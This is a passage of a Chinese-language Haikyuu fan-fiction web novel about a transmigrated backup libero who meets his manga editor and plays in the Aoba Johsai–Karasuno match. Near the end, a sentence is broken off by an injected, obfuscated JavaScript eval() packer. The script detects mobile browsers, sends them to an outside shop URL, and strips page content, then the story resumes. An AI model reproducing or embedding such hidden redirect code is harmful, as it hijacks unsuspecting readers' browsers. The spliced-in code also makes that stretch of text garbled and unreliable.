而是因为他想亲眼看到那场比赛,想看到青城和乌野在正式比赛中的对决。 在原作中,那场比赛的篇幅不算长,但伊藤记得每一个关键分。 记得及川的跳发球如何打乱了乌野的一传,记得岩泉的扣球如何穿过了影山和日向的拦网,记得国见英在关键时刻的精准吊球,记得金田一身高优势下的快攻得分。 他想在现实中看到这些。 他想坐在板凳上,离球场最近的地方,感受那场比赛的每一个瞬间。 伊藤站起来,走到窗边。 窗外的街道很安静,偶尔有一辆车驶过,偶尔有几个行人走过。 远处的小学操场上传来孩子们的嬉闹声,阳光把整个街区照得发白。 他忽然想到了一件事——今天是休息日,但他可以去一个地方。 伊藤换了一件干净的T恤,穿上运动鞋,背着一个小包出了门。 他没有去学校,没有去体育馆,而是坐上了开往仙台市区的公交车。 公交车在宫城县的乡间公路上行驶,窗外是连绵的农田和低矮的山丘。 五月中旬,水稻已经插完了秧,田野里一片嫩绿,风从车窗外吹进来,带着泥土和青草的气味。 他在仙台站前下了车,然后步行了大概十五分钟,来到了一条安静的住宅街道。 这条街道他从来没有来过,但他知道这里的地址——因为他给这里寄过信。 集英社仙台办事处。 说是办事处,其实只是在一栋老旧办公楼的三楼租了两个房间。 门口挂着一块不大的牌子,上面写着“株式会社集鹰社仙台支社”。 伊藤站在楼下,抬头看着那块牌子,犹豫了一下,然后推开了楼门。 楼梯很窄,墙壁有些斑驳,扶手是木制的,踩上去会发出轻微的吱呀声。 他走到三楼,推开那扇贴着“集鹰社”标志的玻璃门,里面是一个不大的接待室。 一张沙发,一张茶几,茶几上摆着几本最新的《周刊*年JUMP》。 墙上挂着几幅漫画海报,其中一幅是当红的热血漫画,另一幅是一个伊藤不认识的少女漫画。 “你好?” 一个声音从里面传来。 一个穿着白衬衫的年轻男人从办公桌后面探出头来,看到伊藤的时候愣了一下。 他大概三十岁出头,戴着一副黑框眼镜,头发有些凌乱,整个人看起来像是刚从截稿日的修罗场里爬出来的。 “请问……您是来投稿的吗?”男人问。 “不是。”伊藤说,“我找山口编辑。” 男人上下打量了伊藤一眼,目光在他身上青城排球部的运动服上停了一下——伊藤出门的时候随手抓了一件运动外套穿,上面印着青叶城西的字样。 “山口编辑今天不在。”男人说,“他去东京本部开会了。您是……?” “我是《第二防线》的作者。”伊藤说完这句话的时候,耳朵尖立刻红了。 他从来没有在现实中跟任何人说过这句话,说出“我是作者”这四个字的感觉比在球场上接及川的跳发球还要让他紧张。 男人的眼睛瞪大了。 他盯着伊藤看了足足有三秒钟,然后从办公桌后面站了起来。 “你就是小川老师?”男人的声音提高了半个八度,“山口跟我说过,作者是高中生……但我没想到……” 他上下打量着伊藤,表情从惊讶变成了好奇,又从好奇变成了一种奇怪的兴奋。 “你真的是那个画《第二防线》的小川由里子?不是,小川老师?” “是的。”伊藤说,“我的笔名是小川由里子。真名是伊藤有弥。” 男人深吸了一口气,然后笑了。 他伸出手,握住伊藤的手,用力地摇了摇。 “我是佐佐木,山口的助理编辑。久仰久仰!” 伊藤被他的热情弄得有些不知所措,只是点了点头。 佐佐木把伊藤请进了里面的办公室。 办公室不大,两张办公桌面对面摆着,桌上堆满了原稿纸、信封、样书和各种各样的杂物。 墙上贴着一张巨大的出版日程表,密密麻麻地写满了日期和标题。 “山口今天真的不在。”佐佐木说,“他去东京了,要明天才回来。不过你可以坐一会儿,我正好想跟你聊聊《第二防线》。” 伊藤在椅子上坐下来,佐佐木从桌上拿起一本最新的《JUMP》,翻到《第二防线》的那几页。 “第四话我看了。”佐佐木说,“主角加练的那一页,分镜太棒了。那个从下往上的角度,球砸在手臂上的瞬间,那种冲击感——你是怎么画出来的?” 伊藤想了想,说:“因为我自己打过。” 佐佐木看着他,表情变得认真了。 “你真的打排球?” “嗯。青城排球部的,自由人。” 佐佐木沉默了两秒钟,然后笑出了声。 “山口说得对,你真是个奇怪的高中生。”佐佐木说,“打排球打到IH预选赛,还能挤出时间画连载。你不睡觉的吗?” “睡。”伊藤说,“睡得不多。” 佐佐木摇了摇头,从抽屉里拿出一个信封,递给伊藤。 “这是第四话的稿费。”佐佐木说,“虽然不多,但这是你应得的。” 伊藤接过信封,捏了捏,厚度比他想的多一些。 “第五话什么时候能交?”佐佐木问。 “下周。”伊藤说,“分镜已经画完了,原稿这周末之前能画完。” 佐佐木点了点头,在日程表上写了什么。 然后他抬起头,看着伊藤,表情忽然变得有些严肃。 “伊藤君,有件事我想跟你说。” “什么?” “《第二防线》的读者问卷调查排名,第四话上升到了第九位。” 伊藤愣了一下。 第九位。对于一部新连载来说,这是一个相当高的排名。 前世他的作品最高也只到过第十五位。 “编辑部的意思是,”佐佐木说,“如果第五话能保持这个势头,我们可能会在第六话给你做一个彩页。” 彩页。伊藤的手指不自觉地攥紧了膝盖上的裤子。 “但是,”佐佐木话锋一转,“彩页意味着更高的曝光度,也意味着更多的读者。你需要保证质量,不能因为赶稿而降低水准。你能做到吗?” 伊藤深吸了一口气。 “能。”他说。 佐佐木盯着他看了两秒钟,然后笑了。 “好。我相信你。” 伊藤在办事处坐了大概一个小时,和佐佐木聊了很多关于漫画的事情。 佐佐木给了他一些关于分镜和人物塑造的建议,伊藤认真地听着,偶尔在笔记本上记几笔。 两个人聊到《第二防线》后续剧情走向的时候,佐佐木忽然问了一个让伊藤措手不及的问题。 “主角夏川优的原型是你自己吗?” 伊藤沉默了几秒钟,然后点了点头。 “我就知道。”佐佐木说,“那些接球的动作,那些加练的画面,那种‘即使没有天赋也要继续’的感觉——不是亲身经历过的人画不出来。” 伊藤低下头,看着自己的手。 “我以前……放弃过。”他说,声音很小,像是在跟自己说话,“打过六年排球,然后放弃了。后来因为一些原因,又重新开始打了。” 佐佐木没有追问“一些原因”是什么。他只是安静地听着。 “所以你在漫画里画的是一个没有放弃的自己。”佐佐木说。 伊藤抬起头,看着佐佐木。 “也许吧。”他说。 佐佐木拍了拍他的肩膀,没有再说。 从办事处出来的时候,已经是中午了。 阳光有些刺眼,伊藤眯着眼睛站在办公楼门口,深深地呼出一口气。 和佐佐木聊天让他想了很多。 关于漫画,关于排球,关于前世的自己,关于现在的自己。 那些他以为已经封存得很好的记忆,在刚才的对话中又浮了上来——不是痛苦的、想要逃避的记忆,而是一种“我曾经是那样的人”的确认。 他走出办公楼的阴影,往公交车站走去。 路过一家书店的时候,他停下了脚步。 书店的橱窗里摆着最新的《周刊少年JUMP》,封面是当红漫画的主角,但他注意到的不是封面,而是橱窗玻璃上映出的自己的脸。 十六岁的脸。穿着青城排球部的运动外套,背着一个小包,头发被风吹得有些乱。 表情有些疲惫,但眼神里有光。 伊藤看了两秒钟,然后推开书店的门走了进去。 书店里很安静,只有翻书的声音和空调的嗡嗡声。 他走到漫画区,在《JUMP》的架子上找到了最新一期。 他翻到《第二防线》的那几页,站在那里看了起来。 第四话。 主角夏川优在队内练习赛中第一次作为自由人首发出场,面对强敌的高压发球,他紧张到手臂发抖,但还是接起了最关键的一球。 伊藤看着那些他亲手画出来的画面,心里涌起一种奇怪的感觉。 这些画面他画的时候看了无数遍,但在杂志上看到的时候,它们好像变成了另一种东西——不再是他的画,而是一个独立的、活着的作品。 他注意到旁边站着一个穿着校服的女生,大概和他差不多大,也在看《第二防线》。 女生看得很认真,翻到主角加练的那一页时,她的眼眶微微泛红。 伊藤移开了视线,假装在看别的地方。 他的心跳有些快。 他合上杂志,把它放回架子上,然后走出了书店。 阳光照在脸上,他眯起眼睛,嘴角不自觉地弯了一下。 有人看他的漫画看哭了。 那种感觉,比接起及川的跳发球还要让他开心。 伊藤在仙台站前的一家拉面店吃了午饭。 他点了一碗味增拉面,面汤浓郁,叉烧软烂,味道比他预想的好。 他一边吃一边想着明天比赛的事情。 青城对乌野。 他记得原著中那场比赛的关键节点。 及川的跳发球在第一局就拿到了三个ACE,直接打乱了乌野的一传体系。 岩泉的扣球在影山和日向的拦网面前依然势不可挡。 国见英的吊球让乌野的防守多次出现混乱。 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不是漫画里的角色,不是作者笔下的棋子,而是有自己的生活、自己的想法、自己的喜怒哀乐的真实的人。 及川彻是真实的。 他会因为输球而流泪,会因为胜利而欢笑,会在深夜的体育馆里一个人练习发球,会在更衣室里露出不为人知的脆弱。 岩泉一是真实的。 他会用最严厉的方式督促队友,也会在队友需要的时候默默地站在他们身后。 渡亲治是真实的。 他会用最苛刻的训练磨砺后辈,也会在伊藤受伤的时候递上冰袋和绷带。 金田一、国见、京谷、松川、花卷——他们都是真实的。 而他自己,也是真实的。 伊藤站在仙台站前的广场上,阳光照在他的脸上,五月的风吹过他的头发。 他忽然觉得,自己不再是一个“穿越者”了。 他就是一个十六岁的高中生,青叶城西排球部的一年级自由人,正在为了成为更好的自己而努力。 他拿出手机,看了一眼时间。下午一点半。 他还有大半天的时间。 伊藤坐公交车回到了自己住的那片住宅区。 下车的时候,他路过了一家运动用品店,橱窗里摆着最新款的排球鞋。 他站在橱窗前看了一会儿,然后走了进去。 店里没有其他顾客,只有一个头发花白的老头坐在收银台后面看报纸。 伊藤走到排球用品区,在货架上找到了一款和渡同款的护膝。 他的护膝已经在训练中磨破了一层,是该换新的了。 他把护膝拿到收银台,老头放下报纸,看了他一眼。 “打排球的?” “嗯。” “什么位置?” “自由人。” 老头点了点头,拿起护膝看了看。 “这款不错,耐磨。”老头说,“你是青城的学生?” 伊藤低头看了看自己身上的运动外套,点了点头。 “青城的自由人啊,”老头说,“渡那小子还好吗?” 伊藤愣了一下:“您认识渡前辈?” “渡是我看着长大的。”老头笑了一下,脸上的皱纹挤在一起,“他小时候就在我这店里买装备。那孩子从小学就开始打排球了,一直打到现在。” 伊藤沉默了一下,然后说:“渡前辈很强。” “我知道。”老头说,“但你也不差。” 伊藤抬起头,看着老头。 “你的眼神和渡不一样。”老头说,“渡的眼神是‘我要守住这个位置’,你的眼神是‘我要变得更强’。两种都不错,但你的更有意思。” 老头把护膝装进袋子里,递给伊藤。 伊藤付了钱,说了声谢谢,走出了店铺。 他走在回家的路上,手里提着袋子,脑子里回想着老头说的那句话——“你的眼神是‘我要变得更强’。” 他是吗? 也许是吧。 回到家后,伊藤洗了个澡,换了一身干净的衣服。 他坐在书桌前,没有画漫画,没有写笔记,而是从抽屉里拿出了那本他穿越第一天翻到过的笔记本。 笔记本的第一页写着“伊藤有弥,16岁,青叶城西高校一年级。初中时代在仙台市立第一中学打排球,位置是自由人。初中三年级的县大会中进入八强,没有进入全国大赛。” 他翻到后面的空白页,拿起笔,在上面写下了今天的日期。 “五月二十一日,休息日。” “去了集英社仙台办事处,见到了佐佐木编辑。《第二防线》第四话排名第九位,可能有机会做彩页。” “去了书店,看到一个女生看我的漫画看哭了。” “去了运动用品店,买了一副新护膝。店老板认识渡前辈,说渡从小学就开始打排球。” “明天是青城对乌野。” 他停了一下,在最后一行字下面画了一条线,然后加了一行: “期待。” 他合上笔记本,把它放回抽屉里。 窗外的天色开始变暗了。 五月的傍晚,太阳落山的时间越来越晚,快六点了天还亮着。 伊藤站在窗前,看着远处的天空从蓝色变成了橘色,又从橘色变成了紫色。 手机震动了一下。 是金田一发来的消息。 “伊藤!明天比赛你也会去吧?” 伊藤回复:“当然。” “你说我们能赢吗?” 伊藤看着这个问题,沉默了几秒钟。他知道答案。 “能。”他回复。 金田一发了一个握拳的表情,然后又发了一条:“明天我们一起加油!” 伊藤回复了一个“嗯”,然后把手机放到了桌上。 他躺到床上,闭上眼睛。 脑海中浮现出明天的画面。 体育馆,看台上的观众,场上的球员。及川站在底线后准备发球,岩泉在网前等待扣球,渡在后排蹲低身体。 对面的乌野——日向翔阳那小小的身影,影山飞雄那锐利的眼神,西谷夕那坚定的表情。 他期待明天。 不是因为想上场——他知道自己大概率还是不会上场。 而是因为他想亲眼看到那场比赛,想感受那种氛围,想在自己的笔记本上记录下每一个细节。 他翻了个身,把被子拉到下巴。 明天还要早起。 虽然不用晨练,但他想早一点到体育馆,占一个最好的位置——替补席的最前排,离球场最近的地方。 他闭上眼睛,很快就睡着了。 窗外,月亮升起来了。 月光透过窗帘的缝隙照进来,落在他的脸上,落在书桌上的原稿纸上,落在墙角那双已经磨旧了的排球鞋上。 五月二十一日的夜晚,安静而漫长。 明天,是比赛日。 13.第十三章 13. 五月二十二日,IH宫城县预选赛第三轮。 伊藤有弥早上醒来的时候,窗外正在下雨。 不是那种倾盆大雨,而是五月梅雨季特有的绵绵细雨,细得像针尖,打在窗户上发出细微的沙沙声。 他躺在床上听了一会儿雨声,然后坐了起来。 今天和平时不一样。 不是因为下雨,而是因为今天他要去的那个体育馆里,会发生一场他“知道结果”的比赛。 青叶城西对阵乌野。 原著中的比分是二比一——二十五比十五、二十三比二十五、三十三比三十一。青城赢。 他穿越以来,一直知道自己比别人多一个优势:他知道剧情。 他知道谁会在什么时候成长,知道哪支队伍会赢,知道比赛的关键节点在哪里。 这个优势让他安心,让他觉得一切都在掌控之中。 但今天,他忽然不那么确定了。 他不知道自己为什么会忽然产生这种不安。 也许是因为昨天的休息日太安静了,安静到让他有时间去思考那些他一直在回避的问题——他的存在本身,会不会改变什么? 哪怕他只是一个替补自由人,哪怕他连一分钟的上场时间都没有,他的存在会不会像蝴蝶扇动翅膀一样,在这个世界的某个角落里引起一场他看不见的风暴? 伊藤摇了摇头,把这些念头甩出脑海。 他穿上青城排球部的队服,把护膝和毛巾塞进背包,检查了一遍又一遍。 然后他推开门,走进了五月的细雨中。 体育馆比前两天更热闹。 看台上坐满了观众,乌野的应援团穿着橘色的应援服,占据了看台的一角,敲着鼓、喊着口号。 青城的应援团也不甘示弱,那面写着“制霸球场”的横幅在看台上格外醒目。 伊藤在替补席的最前排坐下,这是他固定的位置——离球场最近,视野最好,能清楚地看到每一个球员的表情和每一个球的轨迹。 金田一在他旁边坐下,表情比平时更加紧绷。 “紧张吗?”伊藤问。 “有一点。”金田一说,握紧的拳头上指节泛白,“但我会打好的。” 国见坐在金田一的另一边,表情一如既往地淡漠。 他已经换好了运动服,正在慢悠悠地做着手腕的拉伸。 伊藤注意到国见的眼神比平时更专注——不是紧张,而是一种“准备好了”的平静。 及川站在场边,正在和岩泉说着什么。 他的表情比平时更加严肃,嘴角没有挂着那标志性的笑容。 今天是IH预选赛第三轮,对手是乌野——那支正在快速成长的队伍,那支拥有影山飞雄的队伍。 及川不可能不认真。 渡在做最后的热身。 他的动作很标准,每一个拉伸都做到了位。 伊藤看着渡的背影,在心里默默地说了一句:加油。 然后他的目光越过球场,落在了对面半场。 乌野的队员已经在场上了。 伊藤一个一个地看过去—— 泽村大地站在队伍的最前面,表情沉稳,眼神坚定。他是乌野的队长,主攻手,也是这支队伍的精神支柱。 田中龙之介剃着光头,站在泽村旁边,整个人散发着一种“随时可以战斗”的气势。 东峰旭低着头,长发遮住了半张脸,看起来有些紧张——但伊藤知道他是一个能在关键时刻站出来的人。 日向翔阳。 那个橘色的身影正在场边蹦蹦跳跳,像一团燃烧的火焰。 他的个子很小,在一群高中生中格外显眼,但他的存在感比任何人都强。 他正在跟影山说着什么,影山一脸不耐烦地回应着。 影山飞雄。 青叶城西的对手,及川彻的后辈,被称为“天才二传手”的少年。 他的表情淡漠,眼神锐利,整个人散发着一种“我比所有人都强”的气场。 但伊藤注意到,影山的目光时不时地瞥向及川的方向。 月岛萤站在网前,面无表情地做着手腕的拉伸。 他戴着眼镜,表情看起来有些不耐烦,像是不太想打这场比赛。 但伊藤知道,月岛是那种“嘴上说着无所谓、实际上比谁都认真”的人。 西谷夕。 乌野的自由人,队伍的最后一道防线。 他比伊藤矮一些,但整个人像一颗被压缩到极致的弹簧,随时可以弹射出去。 他正在跟东峰说着什么,东峰的表情从紧张变成了勉强镇定的样子。 西谷有一种神奇的能力——他不需要说很多话,只需要站在那里,就能让队友感到安心。 伊藤的目光在西谷身上多停留了一会儿。 自由人。同位置。 他一直在观察西谷的防守风格——不是靠预判,而是靠本能。 西谷的接球不是“判断出球会飞向哪里然后移动过去”,而是“球飞过来的瞬间身体自己动了”。 这是一种截然不同的防守哲学,和渡不一样,和田代不一样,和伊藤自己也不一样。 哨声响了。 双方队员入场。 及川和泽村在网前握手,两个人的目光在空中交汇了一瞬。 然后所有人各就各位,球场上的空气瞬间变得紧绷起来。 第一局,青城先发球。 及川站在底线后,手里转着球。 他今天的气场完全不同——平时的轻浮和玩笑全部消失了,取而代之的是一种压迫感。 他的眼睛盯着对面的乌野,像是在瞄准猎物的猎手。 他抛球,助跑,起跳。 身体在空中完全舒展,手臂像鞭子一样甩出。 球带着剧烈的旋转飞向乌野的后场,速度比伊藤在练习赛中接过的任何一次都要快。 乌野的自由人西谷移动了。 他的反应快得离谱,在球刚过网的时候就判断出了落点。 但及川的发球角度太刁钻了,球砸在了边线上,西谷的手臂虽然碰到了球,但没能控制住方向——球飞出了场外。 ACE。及川发球直接得分。 青城的看台上爆发出巨大的欢呼声。 及川落地,面无表情地走回底线,准备第二次发球。 第二球。 同样的速度,同样的旋转,但落点不同——这一次瞄准了乌野前排主攻手的接发区域。 田中接了起来,但球没有到位,飞向了场地的左侧。 影山追了两步,在不利的位置托球,日向起跳——青城的拦网已经在那里了。 松川和金田一的双人拦网封死了日向的扣球线路,球被直接拦死。 青城再得一分。及川继续发球。 第三球。 乌野的接发球依然没有改善。 泽村勉强接起,球飞到了中场附近,影山不得不跑过去处理。 他托给了东峰,东峰扣球——渡在后排稳稳接起,送到及川手中。 及川托给岩泉,岩泉扣球得分。 三比零。及川连续发球得分,乌野的一传体系在第一局的开局阶段就崩溃了。 伊藤坐在板凳上,手里的笔在本子上飞快地记录着。 及川的跳发球在正式比赛中的威力比训练中强了不止一个档次——不是因为球速更快,而是因为那种压迫感。 站在对面接他的发球,心理压力会让人动作变形。 西谷能接起来,但乌野的其他球员不行。 乌野的教练叫了暂停。 暂停结束后,乌野调整了接发球的站位。 西谷的防守范围扩大了,他开始更多地移动到前排球员的身后补位。 及川的发球不再像开局那样连续得分,但青城的进攻依然强势。 岩泉的扣球穿过了月岛和日向的拦网,松川的快攻让乌野的防守措手不及,金田一利用身高优势在网前不断施压,国见的吊球精准地落在了乌野防守的真空地带,花卷的后排进攻让西谷的判断出现了偏差。 第一局的比分差距越来越大。 十四比六,十八比九,二十二比十二。 乌野的队员们开始出现急躁的情绪。 日向的跑动变得有些混乱,影山的托球开始出现偏差,田中连续两次扣球出界。 只有西谷在后排依然稳定,连续接起了岩泉和国见的多个扣球,但一个人的力量无法挽救整支队伍。 二十五比十五。青城拿下第一局。 局间休息的时候,及川走到场边喝水。 他的表情依然严肃,没有因为大比分赢下第一局而放松。 伊藤注意到他的呼吸比平时更急促——不是因为体力问题,而是因为精神上的消耗。 面对影山和日向,及川每一次托球都不能有丝毫偏差。 “伊藤君。”及川忽然叫了他一声。 伊藤抬起头。 “你今天的笔记本,回去借我看看。” “……好。” 及川笑了一下,那笑容很轻,但很真实。 然后他走回了场上。 第二局开始。乌野先发球。 乌野的发球策略变了。 影山站在底线后,手里转着球。他的发球不像及川那样具有毁灭性的力量,但控制精度极高,落点极其刁钻。 球瞄准了青城前排和后排之间的缝隙——自由人和前排球员之间最容易被忽略的区域。 渡判断出了落点,移动了过去,但球从他的前臂侧面滑了出去。 乌野得分。 影山的第二个发球。 同样的区域,这一次渡接了起来,但球没有送到位。 及川追了两步,勉强托给岩泉,岩泉扣球——西谷接了起来。影山托给日向,日向起跳。 怪人速攻。 球从松川和金田一的拦网之间穿过,砸在了青城的场地上。 速度快得让人来不及反应。 影山继续发球。 第三个,第四个,第五个。 他的发球轮次中,乌野连得四分,将比分改写成了四比零。 青城的看台上安静了。 及川的表情没有变化,但他的眼神变得更锐利了。 他走到渡旁边,低声说了几句话。渡点了点头,调整了站位。 影山的第六个发球。 这一次渡稳稳地接了起来,送到了及川的手中。 及川托给岩泉,岩泉扣球得分。 青城终于拿到了第二局的第一分,发球权也随之转移到了青城手中。 比赛进入了拉锯战。 乌野的防守在第二局明显提升。 西谷在后排的表现越来越出色,连续接起了岩泉和国见的多个重扣,影山和日向的速攻配合越来越默契,每一次起跳都让青城的拦网措手不及,月岛的拦网开始发挥作用,他的判断力和位置感让青城的扣球多次被拦回。 青城这边,及川的托球依然精准,岩泉的扣球依然势不可挡,但乌野的防守让青城的进攻效率大打折扣。 分差始终在两分到三分之间徘徊,谁都无法拉开差距。 十四比十二,十六比十四,十八比十七。 比分在不断地交替上升,每一分都像是从对手手中硬抢过来的。 及川站在底线后,连续发了三个跳发球。 第一个被西谷接起,乌野得分,第二个直接ACE,第三个被泽村接起,影山托给东峰,东峰扣球得分。 比分来到了二十比十九,青城领先一分。 乌野的教练叫了暂停。 伊藤坐在板凳上,手里的笔停住了。 他看着比分板上的数字,忽然有一种奇怪的感觉——这个比分,和他记忆中的不一样。 原著中第二局的比分是二十三比二十五,青城输。 但现在,比分还在僵持,还没有到那个节点。 他摇了摇头,把这种感觉压了下去。 也许是他的记忆出错了,也许是原著中的比分细节他没有记清楚。 他继续看比赛,继续做笔记。 暂停结束后,乌野换了战术。 他们开始频繁地使用后排进攻,打乱青城的防守阵型。 影山的托球变得更加多变,不再只依赖日向的速攻,而是开始更多地利用田中、东峰和泽村的进攻能力。 青城的防守开始出现漏洞。 渡的体力在下降——连续两局的高强度防守让他的移动速度有所减缓。 岩泉和花卷在后排的防守虽然依然稳定,但乌野的进攻点多得让他们顾此失彼。 二十比二十,二十二比二十二,二十三比二十三。 比分像两根缠绕在一起的藤蔓,谁都无法挣脱对方的束缚。 及川再次发球。他的跳发球直接得分,二十四比二十三,青城拿到了局点。 乌野的教练叫了暂停。 伊藤坐在板凳上,心跳加速了。 二十四比二十三,青城局点。 只要再得一分,青城就能拿下第二局,二比零结束比赛。 暂停结束。乌野发球。 影山的发球直接瞄准了渡的方向——他在挑战青城自由人的极限。 渡接了起来,送到了及川的手中。 及川托给岩泉,岩泉起跳。 西谷站在那里。 他判断出了岩泉的扣球线路,前臂稳稳地接起了球。 影山托给日向,日向起跳——松川和金田一的拦网封住了他的直线,但日向在最后一刻改变了手腕的角度,球从斜线的方向穿了过去,落在了青城的场地上。 二十四比二十四。 乌野追平了比分。 及川的表情没有变化,但他的眼神变了。 那不是愤怒,不是焦虑,而是一种更危险的东西——冷静。 极度的冷静。 他走到发球区,转着球,深呼吸。 第二十五分。 谁拿到这一分,谁就掌握了第二局的主动权。 及川抛球,助跑,起跳。 球以惊人的速度飞向乌野的后场——西谷判断出了落点,移动了过去。 眼看马上就要接住了,但在球落地的前一秒,他收手。 青城的看台上已经开始欢呼了,但裁判的手势不是界内——是出界。 球落在了底线外侧不到两厘米的位置。 二十五比二十四,乌野领先。 但乌野还需要再得一分才能拿下第二局——因为领先两分才能获胜,现在只是一分的分差。 影山发球。 他的发球直接瞄准了青城前排球员的接发区域。 金田一接了起来,球有些偏,及川追了两步,在不利的位置托球。 他托给了国见,国见起跳,没有强扣,而是轻轻将球吊到了乌野防守的真空地带。 球落地了。 二十五比二十五。 体育馆里的空气凝固了。 每一个观众都屏住了呼吸,看着球场上的每一次攻防。 二十六比二十五,青城领先。 二十六比二十六,乌野追平。 三十比二十九,三十比三十。 比分在不断地刷新,每一分都像是在消耗双方球员的生命。 伊藤坐在板凳上,手不自觉地攥紧了膝盖上的毛巾。 他的脑子里只有一个念头——这个比分不对。 原著中第二局的比分是二十三比二十五,不是三十比三十。 他不可能记错,他看过那么多遍,每一个比分都刻在他的记忆里。 剧情变了。 因为他的存在。 他不知道自己的存在为什么会改变这场比赛的结果。 他没有上场,没有和任何乌野的队员说过话,甚至没有在训练中做过任何能影响比赛结果的事情。 但蝴蝶效应就是这样——一只蝴蝶在巴西扇动翅膀,可能在德克萨斯引起一场龙卷风。 他的存在本身就是那只蝴蝶,哪怕他什么都不做,世界也已经因为他而不同了。 三十比三十一,乌野领先。 三十一比三十一,青城追平。 三十一比三十二,乌野再次领先。 乌野拿到了局点。 三十二比三十一,只要再得一分,乌野就能拿下第二局。 及川站在底线后,他的表情比任何时候都更加专注。 他抛球,助跑,起跳——球以他今天最快的速度飞向乌野的后场。 西谷接了起来,送到了影山的手中。 影山托给日向,日向起跳——松川和金田一的拦网封住了他的所有线路,但他没有扣球,而是在最后一刻将球拨到了拦网球员的手上。球弹出了界外。 三十二比三十。 乌野拿下第二局。 比分板上跳动的数字最终定格在了那个位置——三十二比三十。 青叶城西输掉了第二局,大比分变成了一比一。 乌野的看台上爆发出震耳欲聋的欢呼声。 日向落地后,用力地挥了一下拳头,脸上的表情像是在说“我们做到了”。 影山依然面无表情,但他的眼神里有一种光芒——那是一个挑战者看到希望时的光芒。 青城的队员们走回场边。 及川低着头,没有人能看到他的表情,岩泉拍了拍他的肩膀,没有说话,渡坐在场边喝水,手臂在微微发抖,金田一站在角落里,双手撑在膝盖上,大口大口地喘气,国见靠着墙壁,闭着眼睛,表情依然是那副淡漠的样子,但伊藤注意到他的睫毛在微微颤动。 伊藤坐在板凳上,大脑一片空白。 剧情变了。 他的存在——仅仅是他的存在——已经改变了这个世界的走向。 原著中的第二局是二十三比二十五,现在是三十二比三十。 多了好几分,每一分都是在他不知道的地方、因为他不理解的原因而发生的变化。 那第三局呢?原著中的第三局是三十三比三十一,青城赢。 但现在,他连那个比分都不敢相信了。 如果第二局可以改变,那么第三局也可以。 如果比分可以改变,结果也可以。 青城可能会输。 这个念头像一盆冰水浇在伊藤的头上。 他从来没有想过这种可能性——在他前世的记忆中,青城赢了这场比赛。 及川彻在IH预选赛中击败了乌野,然后在决赛中输给了白鸟泽。 这是定数,是原著中不可更改的剧情。 但原著中没有伊藤有弥这个人。 他的存在本身,就是一个变量。 一个他不知道如何计算、如何预测、如何控制的变量。 教练走到替补席前。 他的表情很平静,但眼神里有一种在做重要决定时的凝重。 他的目光扫过替补席上的每一个人,然后在伊藤身上停住了。 “伊藤。” 伊藤抬起头。 “第三局,你上。” 他听到了自己的心跳声。 不,不是听到,是感觉到——心脏在胸腔里猛烈地撞击着,一下又一下,像是要冲出身体的束缚。 他的手心开始出汗,指尖微微发凉。 这是他来到这个世界后的第一场正式比赛,第一次以自由人的身份站在真正的赛场上。 他站起来,看向教练,然后看向球场。 渡站在场边,正在喝水。 他的手臂在微微发抖,不是因为紧张,而是因为体力消耗过大。 第二局的三十二分拉锯战几乎耗尽了他的体能。 他看到伊藤站起来,没有说话,只是点了点头,然后走回了场边。 伊藤走到渡面前,鞠了一躬。 “前辈,我会接好的。” 渡看着他,嘴角微微弯了一下——那不是笑,而是一种“我相信你”的确认。 “去吧。” 伊藤深吸了一口气,踏上了球场。 球场上的灯光很亮,亮到有些刺眼。 地板的触感和他记忆中的一样——木质的、微微有些弹性的、在灯光下反射着柔和光泽的球场。 他走到后排中央的位置,蹲低身体,双手前伸。 对面站着日向翔阳,那个橘色的身影正在网前来回跑动,像是永不停歇的发动机。 日向的目光扫过伊藤,没有停留——他不知道伊藤是谁,他只知道青城换了一个自由人。 但西谷注意到了。 乌野的自由人站在后排,目光穿过球网,落在伊藤身上。 他的眼神里有好奇,有审视,也有一种自由人之间特有的默契——他在观察伊藤。 及川走过来,站在伊藤旁边。 “伊藤君。”他的声音不大,但每个字都很清晰,“不要想太多。把训练中做到的做出来就行。” “……好。” “还有,”及川顿了一下,“我相信你。” 伊藤没有回答。 他的嗓子太紧了,说不出话。 他只是点了点头,然后把目光转向前方。 第三局开始。青城先发球。 及川站在底线后,手里转着球。 他的表情比前两局更加凝重,眼神里有火焰。 他抛球,助跑,起跳。 球以惊人的速度飞向乌野的后场。 西谷接了起来,送到了影山的手中。 影山托给日向——怪人速攻。 球从松川和花卷的拦网之间穿过,砸向了青城的后场。 伊藤移动了。 他的右脚直接跨出,身体侧对球的方向,前臂在球接触的瞬间微微放松,呼气。 这是他练习过无数次的动作——渡教他的,岩泉教他的,及川教他的。 球砸在他的前臂上,弹了起来,弧线不高,但方向很正,稳稳地飞向了及川的方向。 及川甚至没有移动脚步,球就直接落到了他的正上方。 他伸手接住球,托给了岩泉。岩泉起跳,扣球——西谷接了起来。 球回到了青城的半场。 伊藤已经在那里了。 他再次接起,送到了及川的手中。 及川托给国见,国见吊球得分。 第三局的第一分,青城拿下。 伊藤站在场上,大口大口地喘着气。 他的手臂上多了一道红印,但他没有去看。 他只是蹲低身体,准备接下一个球。 西谷站在对面,看着伊藤,嘴角微微弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458273|201213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下。那是一个认可的表情——同为自由人的认可。 比赛继续。 乌野的发球。 影山的发球瞄准了伊藤的方向——他在试探这个新上场的自由人。 伊藤判断出了落点,移动了过去,稳稳地接了起来。 及川托给岩泉,岩泉扣球得分。 第二分。第三分。第四分。 伊藤在场上的表现和渡不同。 渡的防守是“稳”——他很少失误,但也很少有惊人的救球。 伊藤的防守是“准”——他的预判能力让他在球飞过来之前就已经站在了正确的位置上,不需要飞身扑救,不需要鱼跃翻滚,只需要用最基础的动作把球接起来。 西谷看着伊藤的防守,脸上的表情从好奇变成了认真。 他看出了伊藤的特点——这个自由人不是靠反应速度,而是靠判断。 他的每一个接球都像是提前计算好的,球到哪里,人就在哪里。 但西谷也知道,这种防守方式的代价是——一旦判断失误,就没有补救的余地。 比分来到了五比三,青城领先两分。 乌野的进攻节奏越来越快。 